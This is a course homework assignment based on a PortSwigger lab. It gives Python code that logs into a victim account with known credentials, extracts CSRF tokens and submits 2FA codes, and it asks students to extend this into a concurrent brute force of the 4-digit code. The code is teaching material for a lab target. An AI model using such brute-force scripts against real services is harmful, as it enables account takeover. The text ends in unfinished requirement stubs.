2fa-bypass-using-a-brute-force-attack

In this level, the login process is protected by a 2-factor authentication flow. Once a user submits a correct set of credentials to the /login path, they are redirected to the /login2 path that handles the second factor. Upon visiting the /login2 path, a 2FA code to be emailed to the user. The /login2 page implements a form that the user then fills with the 2FA code. The main flaw is that the handler for the 2FA form is not rate-limited to prevent brute-force attacks.

You are initially given credentials to the victim's account (carlos:montoya), however, you do not have access to the email address of the victim and can not determine the 2FA code that is sent upon logging in as the victim. To attack the level, you will need to perform a brute-force attack on carlos's 2FA code. In order for the attack to be efficient, you will need to use multiprocessing or asyncio to perform the brute-force attack.

You will be writing your attack in Python using the requests and BeautifulSoup packages.

cd <path_to_your_git_repository>
mkdir hw1
cd hw1
requests
bs4
virtualenv -p python3 env
source env/bin/activate
pip install -r requirements.txt

Create an initial Python script using the code below called hw1.py that programmatically logs in as carlos:montoya, requests a 2FA code, and then submits the code '0000' in an attempt to successfully log-in.

The program begins by visiting the login page and obtaining the csrf token of the login form.

hw1.py

We begin by taking a single argument from the command line that contains the URL of our Portswigger level. To do so, we import Python's sys package and read in the first command-line argument with it (sys.argv[1]). If the full URL is given, we strip off the outer parts of it so that we get just the site's hostname.

import sys
site = sys.argv[1]
if 'https://' in site:
    site = site.rstrip('/').lstrip('https://')

Next, we instantiate a session and get the login page for the level. Note that this level is protected with a csrf token hidden in the form field. The program uses BeautifulSoup to parse this out.

s = requests.Session()
login_url = f'https://{site}/login'
resp = s.get(login_url)
soup = BeautifulSoup(resp.text,'html.parser')
csrf = soup.find('input', {'name':'csrf'}).get('value')

Then, the program creates a dictionary containing the user credentials we're given and submits it to the login form along with the csrf token.

logindata = {
    'csrf' : csrf,
    'username' : 'carlos',
    'password' : 'montoya'
}
print(f'Logging in as carlos:montoya')
resp = s.post(login_url, data=logindata)
print(f'Login response: {resp.text}')

Upon successful login, an HTTP redirect is given that automatically sends us to the /login2 page that implements the 2FA process. As part of this process, a 2FA code is automatically sent to the email address of the account which is not accessible. The /login2 form also has a csrf token we'll need to include for when we submit the code.

soup = BeautifulSoup(resp.text,'html.parser')
csrf = soup.find('input', {'name':'csrf'}).get('value')

Finally, we attempt to submit '0000' as the 2FA code and view the response. The code for doing so is shown below. As the code shows, we must zero-pad the number to 4 digits via zfill. We then POST the code to the /login2 path, but we specify that the keyword argument allow_redirects is false. This prevents Python requests from automatically following an HTTP redirect. For this authentication workflow, a redirect to the landing page indicates a successful login. We can check for this via the response's status_code.

login2_url = f'https://{site}/login2'
login2data = {
    'csrf' : csrf,
    'mfa-code' : str(0).zfill(4)
}
resp = s.post(login2_url, data=login2data, allow_redirects=False)
if resp.status_code == 302:
    print(f'2fa valid with response code {resp.status_code}')
    # Visit account profile page to complete level
else:
    print(f'2fa invalid with response code: {resp.status_code}')

After finding the correct code, we can then visit carlos's account profile page (/my-account?id=carlos) to solve the level.

Note that the web application only allows 2 incorrect guesses of the code before requiring the user to login again. As a result, you will need to login again to attempt subsequent codes in your program.

Run the program on your site to show that you can login with the given account credentials to get to the 2FA page, but that the 2FA submission fails.

python hw1.py <Level_URL>
...
<form class=login-form method=POST>
    <input required type="hidden" name="csrf" value="53...K">
    <label>Please enter your 4-digit security code</label>
    <input required type=text name=mfa-code>
    <button class=button type=submit> Login </button>
</form>
...
2fa invalid with response code: 200

Then, add, commit and push this initial script and its requirements.txt into your repository

git add .
git commit -m "Initial script"
git push

Ensure that your local Python environment in env has not been added to the repository. It will be ignored as long as you've properly included it in the .gitignore file as instructed when you set up your course git repository.

Modify hw1.py to implement a program that performs a brute-force attack on the 2FA code for the account carlos in order to successfully authenticate as the account. While for testing purposes, you can visit the account's profile page in order to solve the level, please remove this request when submitting your final program. For grading purposes, we need the level to remain unsolved to grade subsequent programs. Instead, modify your program to simply output the 2fa code instead.

Requirements

def run_test(login, password, url, num_tests):                                  
    """Records timing data for an individual attack
    Args:
        login (str): login to test
        password (str): password to test
        url (str): URL to test
        num_tests (int): number of tests to run
    Returns:
        float: Average time taken across tests                 
    """                                                                         

Rubric